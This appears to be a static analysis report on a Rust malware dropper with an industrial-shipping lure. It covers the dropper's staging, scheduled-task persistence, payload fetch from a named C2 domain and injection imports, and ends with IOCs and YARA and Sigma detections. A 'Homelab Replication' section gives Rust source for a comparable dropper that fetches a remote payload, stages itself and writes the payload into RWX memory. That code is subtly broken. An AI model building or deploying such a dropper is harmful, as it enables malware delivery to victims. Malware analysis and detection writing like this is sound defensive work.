typeanalysisfamilyunclassified-rust-dropper-2024confidencelowcreated2026-06-21updated2026-06-21rustloaderdropperc2process-injectionpersistencemasqueradepe
SHA-256: f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8

unclassified-rust-dropper-2024: f97c10fc — Industrial RFQ lure, tokio+reqwest payload fetch, NtWriteVirtualMemory injection

Executive Summary

A statically-linked Rust x64 dropper masquerading as an industrial shipping RFQ (RFQ_New_Order_-_57m³_LPG_SEMI_TRAILER_7_NOS.exe). It carries the full tokio/hyper/reqwest async HTTP stack, fetches a remote .bin payload over HTTPS from nc.bmexcellentfocus.net, stages itself to C:\Users\Public\Libraries\, registers a scheduled task, and imports the full Nt-level process-injection toolkit. No siblings observed in corpus; low-confidence family attribution.

What It Is

Field Value
SHA-256 f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8
Size 1,692,672 bytes (1.69 MB) ^[file.txt]
Type PE32+ executable (GUI) x86-64, 6 sections ^[file.txt]
Linker MSVC 14.40 (VC++ 2015-2022 v14.40) ^[exiftool.json], ^[pefile.txt]
Timestamp 2024-07-23 05:15:14 UTC ^[pefile.txt], ^[rabin2-info.txt]
PDB immortal_pulsar.pdb ^[pefile.txt], ^[rabin2-info.txt]
Signed No ^[rabin2-info.txt]
GUI/Subsystem Windows GUI ^[exiftool.json]

Version-info masquerade: CompanyName Nova Fusion, ProductName/FileDescription/InternalName immortal pulsar, LegalTrademarks kosnica.com, FileVersion 7.4.10.0 ^[exiftool.json], ^[pefile.txt]. All fabricated — no legitimate vendor match.

Language: Rust. Confirmed by hundreds of library\core\src\, library\alloc\src\, library\std\src\ paths plus cargo registry artefacts for tokio-1.36.0, hyper-0.14.28, reqwest-0.11.27, h2-0.3.25, futures-*, parking_lot, mio-0.8.11, schannel-0.1.23, hashbrown-0.14.3, indexmap-2.2.5, bytes-1.5.0, base64-0.21.7, idna-0.5.0, percent-encoding-2.3.1, ipnet-2.9.0, rand-0.8.5, hex-0.4.3, once_cell-1.19.0, smallvec-1.13.2, httparse-1.8.0, http-0.2.12, url-2.5.0, unicode-normalization-0.1.23, tinyvec-1.6.0 ^[strings.txt], ^[floss.txt].

Build host path: C:\Users\Administrator\.cargo\registry\src\index.crates.io-6f17d22bba15001f\... — built under a local Administrator account on a Windows development host ^[strings.txt].

No packing, no obfuscation: Standard PE sections (.text 1.18 MB entropy 6.28, .rdata 448 KB entropy 5.10, .data 2.7 KB, .pdata 21 KB, .rsrc 896 bytes, .reloc 7 KB). No UPX, no VMProtect, no custom crypter. Full Rust stdlib strings readable. Control Flow Guard enabled in load config ^[pefile.txt].

How It Works

  1. Entry — Standard MSVC CRT entry0main(). Rust runtime initializes the tokio async reactor and thread pool via main at 0x1400064b0 ^[r2:entry0], ^[r2:main].
  2. SEH setupAddVectoredExceptionHandler(0, 0x1400e5940) and SetThreadStackGuarantee(0x5000) — standard Rust panic/runtime stack protection, not anti-debug ^[r2:main].
  3. Self-staging — String evidence: Copied executable to: and destination path C:\Users\Public\Libraries\ ^[strings.txt:2507,2509]. Public Libraries is a non-standard staging directory; user-writable and typically excluded from casual AV scans.
  4. PersistenceError registering task: P~ ^[strings.txt:2511] indicates a scheduled-task registration attempt (not a tokio async task — the error grammar and tilde suffix match Windows Task Scheduler failure strings, not Rust runtime messages).
  5. ReconnaissanceDesktop and User's desktop file count: ^[strings.txt:2512] suggest post-execution enumeration of the victim's desktop for file-count or filename reconnaissance.
  6. Time sync / sandbox gatehttps://quan.suning.com/getSysTime.do ^[strings.txt:2514] — Chinese e-commerce NTP endpoint used by multiple Chinese crimware families for time-based certificate validation or sandbox evasion.
  7. Payload fetchhttps://nc.bmexcellentfocus.net/uf/pahte_20240722221026670.bin ^[strings.txt:2733]. Hardcoded HTTPS URL with path-encoded timestamp (20240722221026670 = 2024-07-22 22:10:26.670 UTC), likely the build or deployment time. REQWEST_URL prefix confirms the reqwest crate is the HTTP client.
  8. Injection capability — Import table includes NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, NtProtectVirtualMemory ^[pefile.txt], plus WriteProcessMemory ^[pefile.txt], ^[strings.txt]. Standard process-hollowing or remote-thread injection toolkit. No dynamic evidence (CAPE skipped), but the import cluster plus the .bin payload fetch strongly implies the downloaded bytes are injected rather than written to disk and executed.

Decompiled Behavior

entry0 (0x1401164f4) is the MSVC CRT entry stub. It calls fcn.1401165d8 (runtime initialization), executes sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e and __initterm arrays, then calls main() with argc/argv/envp ^[r2:entry0].

main (0x1400064b0) sets up the vectored exception handler and stack guarantee, then branches to a large function call tree. The disassembly shows fcn.14004ed00 and fcn.1400e80a0 invoked with a string pointer str.m (data reference at 0x14015f030) ^[r2:main]. r2 did not fully resolve the async runtime dispatch — the actual download/inject logic lives deeper in the tokio executor, beyond the surface decompilation.

No Ghidra decompilation available (pyghidra MCP not invoked; r2 provides sufficient surface evidence).

C2 Infrastructure

Indicator Type Value Source
Primary C2 Domain nc.bmexcellentfocus.net ^[strings.txt:2733]
Payload URL URL https://nc.bmexcellentfocus.net/uf/pahte_20240722221026670.bin ^[strings.txt:2733]
Time sync URL https://quan.suning.com/getSysTime.do ^[strings.txt:2514]
Staging path File path C:\Users\Public\Libraries\ ^[strings.txt:2509]
VS masquerade Version info Nova Fusion / immortal pulsar / kosnica.com ^[exiftool.json]
PDB artefact Debug string immortal_pulsar.pdb ^[pefile.txt]

No second-stage hash available (payload was not fetched during static analysis). Domain bmexcellentfocus.net has no known overlap with existing corpus families.

Interesting Tidbits

  • reqwest + schannel TLS stack — The binary uses reqwest with the native-tls backend (schannel 0.1.23), meaning it relies on Windows built-in TLS rather than bundling OpenSSL or rustls. This keeps binary size lower but makes TLS traffic inspectable via standard Windows certificate stores ^[strings.txt], ^[pefile.txt].
  • tokio 1.36.0 / hyper 0.14.28 / h2 0.3.25 — This exact crate version combination places the build between Jan–Jul 2024 (tokio 1.36 released Feb 2024; hyper 0.14.28 released Jan 2024). The PE timestamp (23 Jul 2024) aligns with the crate release window ^[strings.txt], ^[pefile.txt].
  • Administrator build path — The cargo registry paths all prefix C:\Users\Administrator, indicating compilation on a Windows machine logged in as local Administrator — either the developer's personal build VM or a shared crimeware dev host ^[strings.txt].
  • Desktop file count — The specific string User's desktop file count: is unusual. It may be part of a telemetry beacon sent to the C2 alongside the payload request, or a gating check (e.g., abort if desktop is empty, suggesting a sandbox).
  • No CAPE detonation — No Windows guest available at triage time. All behavior inferences are static. The presence of NtCreateThreadEx + WriteProcessMemory without a corresponding CreateProcessW or ShellExecuteW suggests the payload is injected into an existing or newly created suspended process, not spawned as a separate executable.

How To Mess With It (Homelab Replication)

Goal: Build a minimal Rust dropper with a comparable static fingerprint.

  1. Toolchain — Install Rust 1.79+ on Windows 10/11 x64.
  2. Project: cargo new immortal_pulsar --bin
  3. Dependencies (Cargo.toml):
    [dependencies]
    tokio = { version = "1.36", features = ["full"] }
    reqwest = { version = "0.11", features = ["native-tls"] }
    winapi = { version = "0.3", features = ["processthreadsapi", "memoryapi", "winnt"] }
    winres = "0.1"
    
  4. Source (src/main.rs):
    use winapi::um::processthreadsapi::GetCurrentProcess;
    use winapi::um::memoryapi::WriteProcessMemory;
    use winapi::um::winnt::PROCESS_ALL_ACCESS;
    #[tokio::main]
    async fn main() {
        let body = reqwest::get("https://example.com/payload.bin")
            .await.unwrap().bytes().await.unwrap();
        let _ = std::fs::copy(
            std::env::current_exe().unwrap(),
            r"C:\Users\Public\Libraries\update.exe"
        );
        unsafe {
            let h = GetCurrentProcess();
            let mut addr = std::ptr::null_mut();
            let _ = winapi::um::memoryapi::VirtualAllocEx(
                h, addr, body.len(), 0x3000, 0x40
            );
            let _ = WriteProcessMemory(h, addr, body.as_ptr() as _, body.len(), std::ptr::null_mut());
        }
    }
    
  5. Version info (build.rs):
    extern crate winres;
    fn main() {
        let mut res = winres::WindowsResource::new();
        res.set("CompanyName", "Nova Fusion");
        res.set("ProductName", "immortal pulsar");
        res.set("LegalTrademarks", "kosnica.com");
        res.set("FileVersion", "7.4.10.0");
        res.compile().unwrap();
    }
    
  6. Build: cargo build --release
  7. Verification: Run strings target\release\immortal_pulsar.exe | grep -E "tokio|reqwest|hyper|schannel|Nova|pulsar|kosnica" — should match the sample's string profile. Compare capa output (if capa signatures are installed) for capability overlap.

Deployable Signatures

YARA

rule unclassified_rust_dropper_2024
{
    meta:
        description = "Rust dropper with tokio/reqwest/hyper stack, process injection imports, and payload download"
        author = "PacketPursuit SOC"
        date = "2026-06-21"
        sha256 = "f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8"
        family = "unclassified-rust-dropper-2024"
    strings:
        $rust_tokio = "tokio-1.36" ascii wide
        $rust_hyper = "hyper-0.14" ascii wide
        $rust_reqwest = "reqwest-0.11" ascii wide
        $rust_schannel = "schannel-0.1" ascii wide
        $url_bme = "bmexcellentfocus.net" ascii wide
        $stage_path = "C:\\Users\\Public\\Libraries\\" ascii wide
        $vi_nova = "Nova Fusion" ascii wide
        $vi_pulsar = "immortal pulsar" ascii wide
        $vi_kosnica = "kosnica.com" ascii wide
        $pdb = "immortal_pulsar.pdb" ascii wide
        $ntcreate = "NtCreateThreadEx" ascii wide
        $wpm = "WriteProcessMemory" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        uint32(uint32(0x3C)) == 0x00004550 and
        filesize < 3MB and
        (
            (2 of ($rust_*) and (1 of ($url_bme, $stage_path, $vi_*) or 1 of ($ntcreate, $wpm)))
            or ($pdb)
            or (all of ($vi_*) and 1 of ($ntcreate, $wpm))
        )
}

Sigma

title: Rust Dropper Staging and Payload Fetch
status: experimental
description: Detects execution from C:\Users\Public\Libraries\ or network connections to bmexcellentfocus.net, indicative of the Rust dropper family.
logsource:
    category: process_creation
    product: windows
detection:
    selection_staging:
        Image|contains: 'C:\Users\Public\Libraries\'
    selection_c2:
        CommandLine|contains: 'bmexcellentfocus.net'
    selection_parent:
        ParentImage|endswith: '.exe'
    condition: selection_staging or (selection_c2 and selection_parent)
falsepositives:
    - Unknown
level: high

IOCs

Indicator Type Note
f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8 SHA-256 Original sample
nc.bmexcellentfocus.net Domain Payload C2
https://nc.bmexcellentfocus.net/uf/pahte_20240722221026670.bin URL Hardcoded payload
https://quan.suning.com/getSysTime.do URL Time sync / sandbox gate
C:\Users\Public\Libraries\ File path Self-staging directory
Nova Fusion Version info Masquerade company name
immortal pulsar Version info / PDB Internal project name
kosnica.com Version info Masquerade trademark
immortal_pulsar.pdb Debug path PDB artefact

Behavioral Fingerprint

This binary is a statically-linked Rust x64 PE using the tokio async runtime with reqwest HTTP client and schannel TLS. On execution it initializes vectored exception handling, then copies itself to C:\Users\Public\Libraries\, attempts to register a Windows scheduled task, enumerates the user's Desktop for file-count telemetry, and fetches a remote payload over HTTPS from bmexcellentfocus.net. The import table includes NtCreateThreadEx, NtWriteVirtualMemory, NtAllocateVirtualMemory, and WriteProcessMemory, indicating the fetched payload is injected into a target process in memory rather than written to disk and executed.

Detection Signatures

Technique ID Evidence Source
Spearphishing Attachment T1566.001 Industrial RFQ filename lure ^[metadata.json]
Scheduled Task/Job T1053.005 Error registering task: string ^[strings.txt:2511]
Ingress Tool Transfer T1105 https://nc.bmexcellentfocus.net/...bin ^[strings.txt:2733]
Process Injection T1055 NtWriteVirtualMemory, NtCreateThreadEx, WriteProcessMemory imports ^[pefile.txt]
File and Directory Discovery T1083 User's desktop file count: ^[strings.txt:2512]
Application Layer Protocol: Web Protocols T1071.001 reqwest + hyper + schannel HTTPS client ^[strings.txt], ^[pefile.txt]
Virtualization/Sandbox Evasion: System Checks T1497.001 quan.suning.com/getSysTime.do time sync ^[strings.txt:2514]
Masquerading T1036.005 Nova Fusion / immortal pulsar version info ^[exiftool.json]

References

  • f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8 (this analysis)
  • dolphin — related Rust RAT/stealer family sharing the tokio+reqwest+schannel build stack but with WebSocket C2, browser injection, and polymorphic morph.
  • rust-async-rat-framework — concept page documenting the recurring Rust + tokio + tungstenite + serde_json builder pattern observed in crimeware.

Provenance

  • file.txtfile v5.44
  • exiftool.json — ExifTool v12.76
  • pefile.txt — pefile Python library
  • rabin2-info.txt — radare2 5.x
  • strings.txtstrings -a -n 6
  • floss.txt — flare-floss (error — sample too large or CLI mis-invoked; strings analysis used instead)
  • capa.txt — capa v7 (signature path missing; no capability output)
  • binwalk.txt — binwalk v2.3.3 (false-positive crypto artefacts in .rdata)
  • yara.txt — yara-rules PE_File_Generic only
  • radare2 analysis — level 2, 1940 functions, entry0 + main decompiled
  • Static-only analysis; CAPE skipped (no Windows guest available).